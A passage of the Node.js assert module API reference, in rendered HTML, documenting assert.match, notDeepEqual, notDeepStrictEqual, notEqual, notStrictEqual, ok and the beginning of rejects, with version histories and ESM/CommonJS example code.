<li><code>regexp</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Expects the <code>string</code> input to match the regular expression.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">match</span>(<span class="hljs-string">'I will fail'</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The input did not match the regular ...</span>

assert.<span class="hljs-title function_">match</span>(<span class="hljs-number">123</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The "string" argument must be of type string.</span>

assert.<span class="hljs-title function_">match</span>(<span class="hljs-string">'I will pass'</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// OK</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">match</span>(<span class="hljs-string">'I will fail'</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The input did not match the regular ...</span>

assert.<span class="hljs-title function_">match</span>(<span class="hljs-number">123</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: The "string" argument must be of type string.</span>

assert.<span class="hljs-title function_">match</span>(<span class="hljs-string">'I will pass'</span>, <span class="hljs-regexp">/pass/</span>);
<span class="hljs-comment">// OK</span></code><button class="copy-button">copy</button></pre>
<p>If the values do not match, or if the <code>string</code> argument is of another type than
<code>string</code>, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a <code>message</code> property set equal
to the value of the <code>message</code> parameter. If the <code>message</code> parameter is
undefined, a default error message is assigned. If the <code>message</code> parameter is an
instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown instead of the
<a href="#class-assertassertionerror"><code>AssertionError</code></a>.</p>
</section><section><h3><code>assert.notDeepEqual(actual, expected[, message])</code><span><a class="mark" href="#assertnotdeepequalactual-expected-message" id="assertnotdeepequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_notdeepequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v16.0.0, v14.18.0</td>
<td><p>In Legacy assertion mode, changed status from Deprecated to Legacy.</p></td></tr>
<tr><td>v14.0.0</td>
<td><p>NaN is now treated as being identical if both sides are NaN.</p></td></tr>
<tr><td>v9.0.0</td>
<td><p>The <code>Error</code> names and messages are now properly compared.</p></td></tr>
<tr><td>v8.0.0</td>
<td><p>The <code>Set</code> and <code>Map</code> content is also compared.</p></td></tr>
<tr><td>v6.4.0, v4.7.1</td>
<td><p>Typed array slices are handled correctly now.</p></td></tr>
<tr><td>v6.1.0, v4.5.0</td>
<td><p>Objects with circular references can be used as inputs now.</p></td></tr>
<tr><td>v5.10.1, v4.4.3</td>
<td><p>Handle non-<code>Uint8Array</code> typed arrays correctly.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p><strong>Strict assertion mode</strong></p>
<p>An alias of <a href="#assertnotdeepstrictequalactual-expected-message"><code>assert.notDeepStrictEqual()</code></a>.</p>
<p><strong>Legacy assertion mode</strong></p>
<p></p><div class="api_stability api_stability_3"><a href="documentation.html#stability-index">Stability: 3</a> - Legacy: Use <a href="#assertnotdeepstrictequalactual-expected-message"><code>assert.notDeepStrictEqual()</code></a> instead.</div><p></p>
<p>Tests for any deep inequality. Opposite of <a href="#assertdeepequalactual-expected-message"><code>assert.deepEqual()</code></a>.</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-keyword">const</span> obj1 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj2 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>,
  },
};
<span class="hljs-keyword">const</span> obj3 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj4 = { <span class="hljs-attr">__proto__</span>: obj1 };

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj1);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } notDeepEqual { a: { b: 1 } }</span>

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj2);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj3);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } notDeepEqual { a: { b: 1 } }</span>

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj4);
<span class="hljs-comment">// OK</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-keyword">const</span> obj1 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj2 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>,
  },
};
<span class="hljs-keyword">const</span> obj3 = {
  <span class="hljs-attr">a</span>: {
    <span class="hljs-attr">b</span>: <span class="hljs-number">1</span>,
  },
};
<span class="hljs-keyword">const</span> obj4 = { <span class="hljs-attr">__proto__</span>: obj1 };

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj1);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } notDeepEqual { a: { b: 1 } }</span>

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj2);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj3);
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } notDeepEqual { a: { b: 1 } }</span>

assert.<span class="hljs-title function_">notDeepEqual</span>(obj1, obj4);
<span class="hljs-comment">// OK</span></code><button class="copy-button">copy</button></pre>
<p>If the values are deeply equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a
<code>message</code> property set equal to the value of the <code>message</code> parameter. If the
<code>message</code> parameter is undefined, a default error message is assigned. If the
<code>message</code> parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown
instead of the <code>AssertionError</code>.</p>
</section><section><h3><code>assert.notDeepStrictEqual(actual, expected[, message])</code><span><a class="mark" href="#assertnotdeepstrictequalactual-expected-message" id="assertnotdeepstrictequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_notdeepstrictequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v9.0.0</td>
<td><p>The <code>-0</code> and <code>+0</code> are not considered equal anymore.</p></td></tr>
<tr><td>v9.0.0</td>
<td><p>The <code>NaN</code> is now compared using the <a href="https://tc39.github.io/ecma262/#sec-samevaluezero">SameValueZero</a> comparison.</p></td></tr>
<tr><td>v9.0.0</td>
<td><p>The <code>Error</code> names and messages are now properly compared.</p></td></tr>
<tr><td>v8.0.0</td>
<td><p>The <code>Set</code> and <code>Map</code> content is also compared.</p></td></tr>
<tr><td>v6.1.0</td>
<td><p>Objects with circular references can be used as inputs now.</p></td></tr>
<tr><td>v6.4.0, v4.7.1</td>
<td><p>Typed array slices are handled correctly now.</p></td></tr>
<tr><td>v5.10.1, v4.4.3</td>
<td><p>Handle non-<code>Uint8Array</code> typed arrays correctly.</p></td></tr>
<tr><td>v1.2.0</td>
<td><p><span>Added in: v1.2.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Tests for deep strict inequality. Opposite of <a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual()</code></a>.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">notDeepStrictEqual</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">a</span>: <span class="hljs-string">'1'</span> });
<span class="hljs-comment">// OK</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">notDeepStrictEqual</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">a</span>: <span class="hljs-string">'1'</span> });
<span class="hljs-comment">// OK</span></code><button class="copy-button">copy</button></pre>
<p>If the values are deeply and strictly equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown
with a <code>message</code> property set equal to the value of the <code>message</code> parameter. If
the <code>message</code> parameter is undefined, a default error message is assigned. If
the <code>message</code> parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown
instead of the <a href="#class-assertassertionerror"><code>AssertionError</code></a>.</p>
</section><section><h3><code>assert.notEqual(actual, expected[, message])</code><span><a class="mark" href="#assertnotequalactual-expected-message" id="assertnotequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_notequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v16.0.0, v14.18.0</td>
<td><p>In Legacy assertion mode, changed status from Deprecated to Legacy.</p></td></tr>
<tr><td>v14.0.0</td>
<td><p>NaN is now treated as being identical if both sides are NaN.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p><strong>Strict assertion mode</strong></p>
<p>An alias of <a href="#assertnotstrictequalactual-expected-message"><code>assert.notStrictEqual()</code></a>.</p>
<p><strong>Legacy assertion mode</strong></p>
<p></p><div class="api_stability api_stability_3"><a href="documentation.html#stability-index">Stability: 3</a> - Legacy: Use <a href="#assertnotstrictequalactual-expected-message"><code>assert.notStrictEqual()</code></a> instead.</div><p></p>
<p>Tests shallow, coercive inequality with the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Inequality"><code>!=</code> operator</a>. <code>NaN</code> is
specially handled and treated as being identical if both sides are <code>NaN</code>.</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

assert.<span class="hljs-title function_">notEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">notEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// AssertionError: 1 != 1</span>

assert.<span class="hljs-title function_">notEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>);
<span class="hljs-comment">// AssertionError: 1 != '1'</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

assert.<span class="hljs-title function_">notEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">notEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// AssertionError: 1 != 1</span>

assert.<span class="hljs-title function_">notEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>);
<span class="hljs-comment">// AssertionError: 1 != '1'</span></code><button class="copy-button">copy</button></pre>
<p>If the values are equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a <code>message</code>
property set equal to the value of the <code>message</code> parameter. If the <code>message</code>
parameter is undefined, a default error message is assigned. If the <code>message</code>
parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown instead of the
<code>AssertionError</code>.</p>
</section><section><h3><code>assert.notStrictEqual(actual, expected[, message])</code><span><a class="mark" href="#assertnotstrictequalactual-expected-message" id="assertnotstrictequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_notstrictequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v10.0.0</td>
<td><p>Used comparison changed from Strict Equality to <code>Object.is()</code>.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Tests strict inequality between the <code>actual</code> and <code>expected</code> parameters as
determined by <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is()</code></a>.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">notStrictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">notStrictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Expected "actual" to be strictly unequal to:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// 1</span>

assert.<span class="hljs-title function_">notStrictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>);
<span class="hljs-comment">// OK</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">notStrictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">notStrictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Expected "actual" to be strictly unequal to:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// 1</span>

assert.<span class="hljs-title function_">notStrictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>);
<span class="hljs-comment">// OK</span></code><button class="copy-button">copy</button></pre>
<p>If the values are strictly equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a
<code>message</code> property set equal to the value of the <code>message</code> parameter. If the
<code>message</code> parameter is undefined, a default error message is assigned. If the
<code>message</code> parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown
instead of the <code>AssertionError</code>.</p>
</section><section><h3><code>assert.ok(value[, message])</code><span><a class="mark" href="#assertokvalue-message" id="assertokvalue-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_ok_value_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v10.0.0</td>
<td><p>The <code>assert.ok()</code> (no arguments) will now use a predefined error message.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>value</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Tests if <code>value</code> is truthy. It is equivalent to
<code>assert.equal(!!value, true, message)</code>.</p>
<p>If <code>value</code> is not truthy, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a <code>message</code>
property set equal to the value of the <code>message</code> parameter. If the <code>message</code>
parameter is <code>undefined</code>, a default error message is assigned. If the <code>message</code>
parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown instead of the
<code>AssertionError</code>.
If no arguments are passed in at all <code>message</code> will be set to the string:
<code>'No value argument passed to `assert.ok()`'</code>.</p>
<p>Be aware that in the <code>repl</code> the error message will be different to the one
thrown in a file! See below for further details.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-literal">true</span>);
<span class="hljs-comment">// OK</span>
assert.<span class="hljs-title function_">ok</span>(<span class="hljs-number">1</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">ok</span>();
<span class="hljs-comment">// AssertionError: No value argument passed to `assert.ok()`</span>

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-literal">false</span>, <span class="hljs-string">'it\'s false'</span>);
<span class="hljs-comment">// AssertionError: it's false</span>

<span class="hljs-comment">// In the repl:</span>
assert.<span class="hljs-title function_">ok</span>(<span class="hljs-keyword">typeof</span> <span class="hljs-number">123</span> === <span class="hljs-string">'string'</span>);
<span class="hljs-comment">// AssertionError: false == true</span>

<span class="hljs-comment">// In a file (e.g. test.js):</span>
assert.<span class="hljs-title function_">ok</span>(<span class="hljs-keyword">typeof</span> <span class="hljs-number">123</span> === <span class="hljs-string">'string'</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert.ok(typeof 123 === 'string')</span>

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-literal">false</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert.ok(false)</span>

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert.ok(0)</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-literal">true</span>);
<span class="hljs-comment">// OK</span>
assert.<span class="hljs-title function_">ok</span>(<span class="hljs-number">1</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">ok</span>();
<span class="hljs-comment">// AssertionError: No value argument passed to `assert.ok()`</span>

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-literal">false</span>, <span class="hljs-string">'it\'s false'</span>);
<span class="hljs-comment">// AssertionError: it's false</span>

<span class="hljs-comment">// In the repl:</span>
assert.<span class="hljs-title function_">ok</span>(<span class="hljs-keyword">typeof</span> <span class="hljs-number">123</span> === <span class="hljs-string">'string'</span>);
<span class="hljs-comment">// AssertionError: false == true</span>

<span class="hljs-comment">// In a file (e.g. test.js):</span>
assert.<span class="hljs-title function_">ok</span>(<span class="hljs-keyword">typeof</span> <span class="hljs-number">123</span> === <span class="hljs-string">'string'</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert.ok(typeof 123 === 'string')</span>

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-literal">false</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert.ok(false)</span>

assert.<span class="hljs-title function_">ok</span>(<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert.ok(0)</span></code><button class="copy-button">copy</button></pre>

<pre class="with-40-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-comment">// Using `assert()` works the same:</span>
<span class="hljs-title function_">assert</span>(<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert(0)</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-comment">// Using `assert()` works the same:</span>
<span class="hljs-title function_">assert</span>(<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError: The expression evaluated to a falsy value:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   assert(0)</span></code><button class="copy-button">copy</button></pre>
</section><section><h3><code>assert.rejects(asyncFn[, error][, message])</code><span><a class="mark" href="#assertrejectsasyncfn-error-message" id="assertrejectsasyncfn-error-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_rejects_asyncfn_error_message"></a></h3>
<div class="api_metadata">
<span>Added in: v10.0.0</span>
</div>
<ul>
<li><code>asyncFn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a></li>
<li><code>error</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a></li>
</ul>
<p>Awaits the <code>asyncFn</code> promise or, if <code>asyncFn</code> is a function, immediately
calls the function and awaits the returned promise to complete. It will then
check that the promise is rejected.</p>
<p>If <code>asyncFn</code> is a function and it throws an error synchronously,
<code>assert.rejects()</code> will return a rejected <code>Promise</code> with that error. If the
function does not return a promise, <code>assert.rejects()</code> will return a rejected
<code>Promise</code> with an <a href="errors.html#err_invalid_return_value"><code>ERR_INVALID_RETURN_VALUE</code></a> error. In both cases the error
handler is skipped.</p>
<p>Besides the async nature to await the completion behaves identically to
<a href="#assertthrowsfn-error-message"><code>assert.throws()</code></a>.</p>
<p>If specified, <code>error</code> can be a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes"><code>Class</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a>, a validation function,
an object where each property will be tested for, or an instance of error where
each property will be tested for including the non-enumerable <code>message</code> and
<code>name</code> properties.</p>
<p>If specified, <code>message</code> will be the message provided by the <a href="#class-assertassertionerror"><code>AssertionError</code></a>
if the <code>asyncFn</code> fails to reject.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-keyword">await</span> assert.<span class="hljs-title function_">rejects</span>(
  <span class="hljs-title function_">async</span> () => {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  {
    <span class="hljs-attr">name</span>: <span class="hljs-string">'TypeError'</span>,
    <span class="hljs-attr">message</span>: <span class="hljs-string">'Wrong value'</span>,
  },
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

(<span class="hljs-title function_">async</span> () => {
  <span class="hljs-keyword">await</span> assert.<span class="hljs-title function_">rejects</span>(
    <span class="hljs-title function_">async</span> () => {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
    },
    {
      <span class="hljs-attr">name</span>: <span class="hljs-string">'TypeError'</span>,
      <span class="hljs-attr">message</span>: <span class="hljs-string">'Wrong value'</span>,
    },
  );
})();</code><button class="copy-button">copy</button></pre>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-keyword">await</span> assert.<span class="hljs-title function_">rejects</span>(
  <span class="hljs-title function_">async</span> () => {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {
    assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">name</span>, <span class="hljs-string">'TypeError'</span>);
    assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">message</span>, <span class="hljs-string">'Wrong value'</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  },
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

(<span class="hljs-title function_">async</span> () => {
  <span class="hljs-keyword">await</span> assert.<span class="hljs-title function_">rejects</span>(
    <span class="hljs-title function_">async</span> () => {
